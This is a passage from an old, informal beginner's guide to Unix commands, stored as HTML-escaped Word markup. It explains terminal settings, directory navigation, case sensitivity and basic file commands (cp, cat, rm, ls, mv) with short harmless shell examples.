on-the-spot deduction.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;The tty erase parameters determines which key is to be used as a&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;backspace. At times, this may already be set when you log in, or it&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;may be set to a suitable alternate (such as delete). Most of the time&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;the system will tell you when you log on if this is so. In this case,&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;we've entered ^h in order to make the backspace key, appropriately&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;enough, backspace.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;Another extremely important parameter is 'intr'. The 'intr' paramter&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;tells the Unix system what you intend to use as a break character...&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;you should have this set to ^c.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;Getting Around&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;--------------&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;A good thing to remember about Unix is that it's alot like DOS. Files&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;are laid out in directories just as in DOS... in fact, the only&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;immediate difference in the directory structures is that Unix uses a&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;forward slash ("/", moron!) instead of a backwards one.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;Also, the basic Unix directory navigation command is identical to DOS.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;In order to change directories, you use the command 'chdir', or 'cd'.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;A quick example:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;1 /usr1/astoria ] cd ..&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;2 /usr ]&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;Wala. That simple. Quick notes:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;ю cd / will take you to root.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;ю cd /*pathname* will take you to *pathname*&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;ю cd home will take you to your home directory.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;You can make and delete your own directories with the mkdir/rmdir&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;commands. Simply put, mkdir makes a subdirectory off of the current&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;directory, and rmdir removes a subdirectory from the current&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;subdirectory. Good to know if you plan to do a lot of file transfers.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;An important note about Unix directories, files, and concepts:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;Unix is a case-sensitive operating system. Thus, the files&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;ю Spleen&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;ю spleen&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;ю SPLEEN&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;ю SpLeEn&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;are all different. This rule applies to directories and command line&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;paramters, as well as most other Unix ideas.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;Another nice thing to know about Unix: Unix files are not subject to&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;the normal DOS 8 character limit. Thus, you can have vast filenames,&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;such as "this_file_ate_my_biscuit".&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;Some other important commands&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;-----------------------------&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;First and foremost, you should know cp. cp is the basic Unix&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;equivalent of the DOS COPY command. The command line for cp is&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;identical to that of COPY.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;Next on the scale of cosmic import is cat. cat is the Unix equivalent&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;of the DOS TYPE command, and once again, for simple file displaying,&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;the command line is identical.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;   &lt;/span&gt;Variations on the theme:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;   &lt;/span&gt;pg: displayes a file page by page. Type "pg x filename", where x is a&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;       &lt;/span&gt;number of lines to display before pausing and filename is the&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;       &lt;/span&gt;file you wish to display.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;   &lt;/span&gt;more: displays a file screen by screen.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;   &lt;/span&gt;Stupid pet trick:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;   &lt;/span&gt;You can use your cat to copy files, simply by using the directional&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;   &lt;/span&gt;operators. To copy a file from here to there using cat, simply type:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;   &lt;/span&gt;% cat here&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;   &lt;/span&gt;this is the file here&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;   &lt;/span&gt;% cat there&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;   &lt;/span&gt;this is the file there&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;   &lt;/span&gt;% cat here &gt; there&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;   &lt;/span&gt;% cat there&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;   &lt;/span&gt;this is the file here&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;   &lt;/span&gt;The operator "&gt;" simply takes the output from the cat command and&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;   &lt;/span&gt;places is in the location specified after it.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;Another vital command to know is 'rm'. rm deletes a file from the&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;system, in the same way DEL would on a DOS system. Not to much else to&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;say.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;Critical in your navigation of a Unix system is the ls command. ls is&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;DOS DIR on heroin. Simply type ls and you get a nice, neat list of&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;files in the directory.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;   &lt;/span&gt;DIR on controlled substances:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;   &lt;/span&gt;There are a few command line parameters that you should know...&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;   &lt;/span&gt;foremost is l. ls -l gets you a list of files, and valuable&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;   &lt;/span&gt;information about each file, including permissions (more on that&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;   &lt;/span&gt;later), size, and linked files.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;   &lt;/span&gt;Another useful command for long file lists is C. ls -C gets you a&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;   &lt;/span&gt;list of files in multiple columns, much the same as DIR /W would&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;   &lt;/span&gt;merit a double column report of all existing files. A quick reminder:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;   &lt;/span&gt;ls -C is NOT the same as ls -c. Unix = case sensitive.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;Another good command to know, mv will move a file from directory to&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;directory. For those of you without DOS 6.0 &lt;gasp&gt;, mv simply copies a&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;file to another directory and deletes the original.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;   &lt;/span&gt;quick tip for files on the lam:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;   &lt;/span&gt;if you want to rename a file (to protect the innocent), you need to&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;   &lt;/span&gt;mv a file to a different file name. A quick demo:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;   &lt;/span&gt;# ls&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;   &lt;/span&gt;myfile&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;   &lt;/span&gt;# cat myfile&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;   &lt;/span&gt;this is my file&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;   &lt;/span&gt;# mv myfile my_other_file&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;   &lt;/span&gt;# ls&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;   &lt;/span&gt;my_other_file&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: 